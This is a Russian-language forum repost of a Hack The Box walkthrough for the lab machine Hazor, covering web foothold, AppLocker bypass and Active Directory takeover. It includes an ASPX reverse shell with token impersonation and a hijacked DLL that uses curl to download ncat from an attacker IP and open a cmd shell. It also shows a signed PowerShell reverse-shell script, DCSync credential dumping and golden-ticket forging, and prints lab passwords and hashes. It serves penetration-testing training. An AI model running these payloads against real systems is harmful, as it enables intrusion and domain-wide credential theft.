![]() |
|
[Определение часового пояса]
[ Регистрация ]
|
|
|
Опции темы |
|
||||
![]() |
#1 | |||
Админ
|
HTB Hazor. Обходим AppLocker и атакуем AD при помощи DCSync и PassTheTicket
Содержание статьи
Полигоном для наших упражнений послужит учебная машина Hazor с площадки Hack The Box. Уровень сложности — «безумный»! WARNING Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками. РАЗВЕДКА Сканирование портов Первым делом, как всегда, добавляем IP-адрес машины в /etc/hosts: 10.10.11.147 hazor.htb И запускаем сканирование портов. Справка: сканирование портов Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа. Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта: #!/bin/bash ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -A $1 Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A). ![]() Результат работы скриптаНашли множество портов, что типично для Windows:
10.10.11.147 hazor.htb hathor.windcorp.htb windcorp.htb Справка: robots.txt Этот файл используется для того, чтобы попросить краулеры (например, Google или Яндекс) не трогать какие‑то определенные каталоги. Никто не хочет, к примеру, чтобы в поисковой выдаче появлялись страницы авторизации администраторов сайта, файлы или персональная информация со страниц пользователей и прочие вещи в таком духе. Однако и злоумышленники первым делом просматривают этот файл, чтобы узнать о файлах и каталогах, которые стремится спрятать администратор сайта. В нашем robots.txt аж 29 скрытых каталогов, в том числе и админка. ![]() Стартовая страница сайтаК сожалению, просмотрев все страницы, я ничего интересного не нашел. Но на сайте есть возможность зарегистрироваться и авторизоваться, что обычно открывает еще больший простор для атак. ![]() Панель авторизации и регистрацииТОЧКА ВХОДА Войдя в систему как пользователь, сразу увидим список всех аккаунтов. ![]() Список зарегистрированных пользователейВ основном ничего интересного нет, поэтому перейдем к сканированию скрытых каталогов. Совсем не факт, что все они были перечислены в robots.txt, так что расчехляем ffuf. Справка: сканирование веба c ffuf Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов, чтобы найти скрытую информацию и недоступные обычным посетителям функции. Для этого можно использовать программы вроде dirsearch и DIRB. Я предпочитаю легкий и очень быстрый ffuf. При запуске указываем следующие параметры:
![]() Результат сканирования каталогов с помощью ffufИз множества страниц в выводе есть те, которые возвращают код 200, одна из них — filemanager, но она нам недоступна. ![]() Сообщение о запрете доступаНичего больше не обнаружив, я решил попробовать авторизоваться с помощью списка дефолтных учеток. И от имени [email protected] : admin авторизовался как администратор сайта. ![]() Панель администратора сайтаТОЧКА ОПОРЫ Мы нашли файловое хранилище, значит, попробуем загрузить реверс‑шелл и получить RCE. Так как используется веб‑сервер IIS, загрузим шелл на ASPX. В нем нам нужно будет лишь указать адрес, хост и порт для подключения. ![]() Измененный код реверс‑шеллаЗатем попробуем загрузить файл — и получим сообщение об ошибке: файлы таких типов загружать нельзя. ![]() Сообщение об ошибкеНо мы можем загрузить файл как HTML, а потом с помощью штатных средств системы переименовать его в .aspx. Для этого копируем файл через контекстное меню и указываем новое имя. ![]() Копирование файла через контекстное меню ![]() Новое имя файлаВсе прошло без ошибок, поэтому командой открываем листенер: rlwrap -cAr nc -lvnp 4321 И обращаемся к загруженному файлу: http://windcorp.htb/Data/Sites/1/med...nts/shell.aspx ![]() Принятый бэкконнектТаким образом мы получаем доступ в систему. ПРОДВИЖЕНИЕ Пользователь BeatriceMill Осматриваясь на машине, натыкаемся на каталоги script и Get-bADpassword.  Начнем с Get-bADpassword, он содержит много скриптов на PowerShell и доступен на GitHub. Отмечаем, что для его работы необходима привилегия для репликации данных домена. ![]() Содержимое каталога Get-bADpasswordБольшинство скриптов однотипны, но, помимо них, есть один файл на VBScript. ![]() Содержимое файла run.vbsПри запуске скрипта в журнале приложения (параметр /L) будет создано событие "Check passwords" (/D) типа Information (/T) с идентификатором 444. Осматриваясь дальше в каталоге Accessible, находим описание программы, а также списки паролей и логи. ![]() Содержимое каталога AccessibleОписание подтверждает, что логи приложения будут расположены в каталоге Logs. ![]() Содержимое файла info.txt ![]() Содержимое каталога LogsПросматривая эти файлы, отмечаем интересное событие. Во время аудита программа определила пароль пользователя BeatriceMill. ![]() Содержимое логовПопробуем найти этот пароль. Для каждого лога есть файл CSV, в одном из которых и находим хеш пароля. ![]() Содержимое каталога CSVs ![]() Содержимое файла с результатом аудитаХеш похож на результат алгоритма MD5, его лучше всего гуглить в онлайновых базах (например, crackstation.net). Таким образом и получим пароль пользователя. ![]() Результат поиска прообраза хеша в базеВот только этот пароль не позволяет авторизоваться на SMB и WinRM, что можно проверить с помощью CrackMapExec. cme smb 10.10.11.147 -u BeatriceMill -p '!!!!ilovegood17' -d windcorp.htb ![]() Проверка учетных данных на SMB-ресурсеНо можно проверить на LDAP, а заодно получить и список других пользователей. ldapsearch -x -h hazor.htb -D 'windcorp\BeatriceMill' -w '!!!!ilovegood17' -b "CN=Users,DC=windcorp,DC=htb" ![]() Проверка учетных данных на LDAPТак как учетные данные верны, но подключиться к нужным службам мы не можем, попробуем имперсонировать другого пользователя. Правда, запускать программы из разряда RunAS не получится, так как активен AppLocker. Давай немного изменим наш реверc-шелл. Модернизация ASPX-шелла Под имперсонализацией пользователя понимается получение и применение его токена доступа. Для этого нам понадобятся три WinAPI-функции:
<%@ Import Namespace = "System.Web" %> <%@ Import Namespace = "System.Web.Security" %> <%@ Import Namespace = "System.Security.Principal" %> <%@ Import Namespace = "System.Runtime.InteropServices" %> Затем добавим объявление этих функций. [DllImport("advapi32.dll")] public static extern int LogonUserA(String lpszUserName, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, ref IntPtr phToken); [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)] public static extern int DuplicateToken(IntPtr hToken, int impersonationLevel, ref IntPtr hNewToken); [DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)] public static extern bool RevertToSelf(); Напишем функцию, которая получает токен целевого пользователя и применяет его в текущий контекст. private bool impersonateUser(String userName, String domain, String password) { WindowsIdentity windowsIdentity; WindowsImpersonationContext windowsImpersonationContext; IntPtr token = IntPtr.Zero; IntPtr tokenDuplicate = IntPtr.Zero; if(RevertToSelf()) { if(LogonUserA(userName, domain, password, 2, 0, ref token)!= 0) { if(DuplicateToken(token, 2, ref tokenDuplicate)!= 0) { windowsIdentity = new WindowsIdentity(tokenDuplicate); WindowsImpersonationContext windowsImpersonationContext = windowsIdentity.Impersonate(); if (windowsImpersonationContext != null) { CloseHandle(token); CloseHandle(tokenDuplicate); return true; } } } } if(token!= IntPtr.Zero) CloseHandle(token); if(tokenDuplicate!=IntPtr.Zero) CloseHandle(tokenDuplicate); return false; } Теперь внесем правки в функцию SpawnProcessAsPriv, которая извлечет токен из текущего контекста, выполнит его копию и передаст в функцию CreateProcessAsUser. protected void SpawnProcessAsPriv(IntPtr oursocket) { bool retValue; string Application = Environment.GetEnvironmentVariable("comspec"); PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION(); STARTUPINFO sInfo = new STARTUPINFO(); SECURITY_ATTRIBUTES pSec = new SECURITY_ATTRIBUTES(); IntPtr Token = new IntPtr(0); IntPtr DupeToken = new IntPtr(0); bool ret; SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES(); sa.bInheritHandle = false; sa.Length = Marshal.SizeOf(sa); sa.lpSecurityDescriptor = (IntPtr)0; Token = WindowsIdentity.GetCurrent().Token; const uint GENERIC_ALL = 0x10000000; const int SecurityImpersonation = 2; const int TokenType = 1; ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupeToken); pSec.Length = Marshal.SizeOf(pSec); sInfo.dwFlags = 0x00000101; sInfo.hStdInput = oursocket; sInfo.hStdOutput = oursocket; sInfo.hStdError = oursocket; if (DupeToken == IntPtr.Zero) retValue = CreateProcess(Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); else retValue = CreateProcessAsUser(DupeToken, Application, "", ref pSec, ref pSec, true, 0, IntPtr.Zero, null, ref sInfo, out pInfo); WaitForSingleObject(pInfo.hProcess, (int)INFINITE); CloseHandle(DupeToken); } Добавим impersonateUser в основную функцию Page_Load. protected void Page_Load(object sender, EventArgs e) { String host = "10.10.14.82"; int port = 1234; impersonateUser("BeatriceMill", "windcorp.htb", "!!!!ilovegood17"); CallbackShell(host, port); } Повторим все манипуляции с веб‑ресурсом, но передадим уже новый шелл и получим бэкконнет в контексте другого пользователя. ![]() Сессия пользователя BeatriceMillПользователь GinaWild Теперь перейдем к другому найденному каталогу — C:\share. ![]() Содержимое каталога shareТут обнаруживаем два исполняемых файла: Bginfo64.exe и AutoIt3_x64.exe, а также каталог scripts. Так как эти файлы уже были на машине, найдем для них правила AppLocker. Get-ChildItem -Path HKLM:\SOFTWARE\Policies\Microsoft\Windows\SrpV2\Ex e ![]() Правило для программы Bginfo64.exeКак следует из списка доступа, мы можем запускатьBginfo64.exe, но не изменять его. icacls C:\share\Bginfo64.exe ![]() Список доступа для Bginfo64.exeВ списке процессов отслеживаем регулярно запускаемую программу Auto_It3_x64. ![]() Список процессовА вот в каталоге scripts мы можем перезаписать DLL 7-zip64.dll. ![]() Список доступа для 7-zip64.dllПроцесс Auto_It3 запускается от имени другого пользователя. Давай напишем DLL, которая с помощью команды takeown сменит владельца разрешенной для запуска Bginfo64.exe, а затем даст всем полный доступ к этому файлу с помощью icacls. Затем с помощью curl загрузит netcat, перезапишет Bginfo64.exe и подключится к нашему хосту. #include <windows.h> BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: system("takeown /f C:\\share\\Bginfo64.exe"); system("icacls C:\\share\\Bginfo64.exe /grant Everyone:F /T"); system("curl 10.10.14.26/ncat.exe -o c:\\share\\Bginfo64.exe"); system("C:\\share\\Bginfo64.exe 10.10.14.26 5432 -e cmd.exe"); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } Затем компилируем DLL с помощью gcc: x86_64-w64-mingw32-gcc -shared -o 7-zip64.dll dll.c Откроем листенер (rlwrap -cAr nc -lvnp 5432) на локальном хосте и уже на хосте перезапишем DLL: curl http://10.10.14.26/7-zip64.dll -o C:\share\scripts\7-zip64.dll Останется немного подождать, а затем заметим в логах локального веб‑сервера загрузку ncat. ![]() Логи веб‑сервераИ тут же прилетает бэкконнект. ![]() Флаг пользователяЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ Пользователь bpassrunner Еще раз походим по каталогам и заглянем в корзину: C:\$Recycle.Bin. ![]() Содержимое корзиныНам нужно узнать SID своего пользователя. В этом поможет простая команда whoami /all. ![]() SID пользователяТеперь мы можем просмотреть список файлов, удаленных подконтрольным нам пользователем, и найдем там сертификат! ![]() Удаленные файлыСкачиваем файл на локальную машину, и при попытке просмотреть сертификат у нас спросят пароль. ![]() Запрос пароля для сертификатаМы можем преобразовать файл с помощью pfx2john в формат программы John The Ripper для брута пароля. А потом и получить сам пароль. pfx2john.py cert.pfx ![]() Преобразование файла в форма JTRjohn --wordlist=rockyou.txt hash ![]() Брут пароляИ получаем пароль. Если заново открыть сертификат, то можно узнать, что он служит для подписи кода. А если учесть, что пользователь состоит в группе ITDep, то получается, что мы можем перезаписать скрипты на PowerShell. Теперь это становится актуальным, так как мы можем подписать новый скрипт! ![]() Группы пользователя ginawildПеренесем сертификат из корзины в каталог Temp и добавим в хранилище сертификатов пользователя. copy c:\$Recycle.Bin\S-1-5-21-3783586571-2109290616-3725730865-2663\$RLYS3KF.pfx C:\Windows\temp\cert.pfx certutil -user -p abceasyas123 -importpfx C:\Windows\temp\cert.pfx NoChain,NoRoot ![]() Сообщение об успешном импорте сертификатаПроверим, действительно ли сертификат был добавлен в хранилище. powershell $certs = Get-ChildItem cert:\CurrentUser\My -CodeSigningCert $certs[0] ![]() Добавленный сертификатА теперь запишем реверс‑шелл в файл Get-bADpasswords.ps1 и подпишем созданный скрипт. echo C:\share\Bginfo64.exe 10.10.14.3 7654 -e cmd.exe > C:\Get-bADpasswords\Get-bADpasswords.ps1 Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $certs[0] ![]() Сообщение о валидной подписи скриптаТакже сразу убедимся, что код подписан. type C:\Get-bADpasswords\Get-bADpasswords.ps1 ![]() Содержимое файла Get-bADpasswords.ps1Помнишь, что при запуске файла создается событие Check passwords? Откроем реверс‑шелл: rlwrap -cAr nc -lvnp 7654 И создадим указанное событие вручную. eventcreate /T Information /ID 444 /L Application /D "Check passwords" ![]() Логи листенераСоединение с листенером было создано и сразу разорвано. Видимо, сессия долго не держится, поэтому я решил сначала выполнять команду, а потом отправлять результат ее выполнения. Для этого нужно снова перезаписать и подписать скрипт, а затем создать событие. echo "whoami /all | C:\share\Bginfo64.exe 10.10.14.3 7654" > C:\Get-bADpasswords\Get-bADpasswords.ps1 Set-AuthenticodeSignature C:\Get-bADpasswords\Get-bADpasswords.ps1 -Certificate $certs[0] eventcreate /T Information /ID 444 /L Application /D "Check passwords" ![]() Результат выполнения команды whoami /allИ получаем возможность выполнять команды в контексте нового пользователя! При этом помним, что Get-bADpasswords выполняется, значит, пользователь может реплицировать данные домена, а это открывает путь к атаке DCSync. DCSync Атака DCSync — это обычный запрос на репликацию данных через протокол репликации каталогов DRS. Клиент отправляет запрос DSGetNCChanges на сервер, когда хочет получать от него обновления объектов AD. Ответ содержит набор обновлений, которые клиент должен применить к своей реплике NC. Нас, конечно, больше всего интересуют секреты и учетные данные. Выполнить DCSync можно с помощью скриптлета Get-ADReplAccount. Извлекать данные будем уже привычным нам способом. Get-ADReplAccount -All -NamingContext 'DC=windcorp,DC=htb' -server Hathor ![]() Учетные данные администратора доменаНо NTLM-аутентификация отключена, поэтому учетка администратора нам ничего не дает. impacket-smbclient windcorp.htb/[email protected] -hashes :b3ff8d7532eef396a5347ed33933030f -dc-ip hathor.windcorp.htb ![]() Попытка PassTheHash к SMBНо есть и другой способ. Golden Ticket Аутентификация NTLM отключена, а вот Kerberos — нет. В этом случае мы можем попробовать запросить золотой билет. Для этого нам нужен NT-хеш пароля учетной записи krbtgt и SID домена. Все это есть в том же скане. ![]() Информация об аккаунте krbtgtТеперь можно генерировать билет. ticketer.py -nthash c639e5b331b0e5034c33dec179dcc792 -domain-sid S-1-5-21-3783586571-2109290616-3725730865 -domain windcorp.htb administrator ![]() Генерация golden ticketБилет сохранен в файл. |
|||
![]() |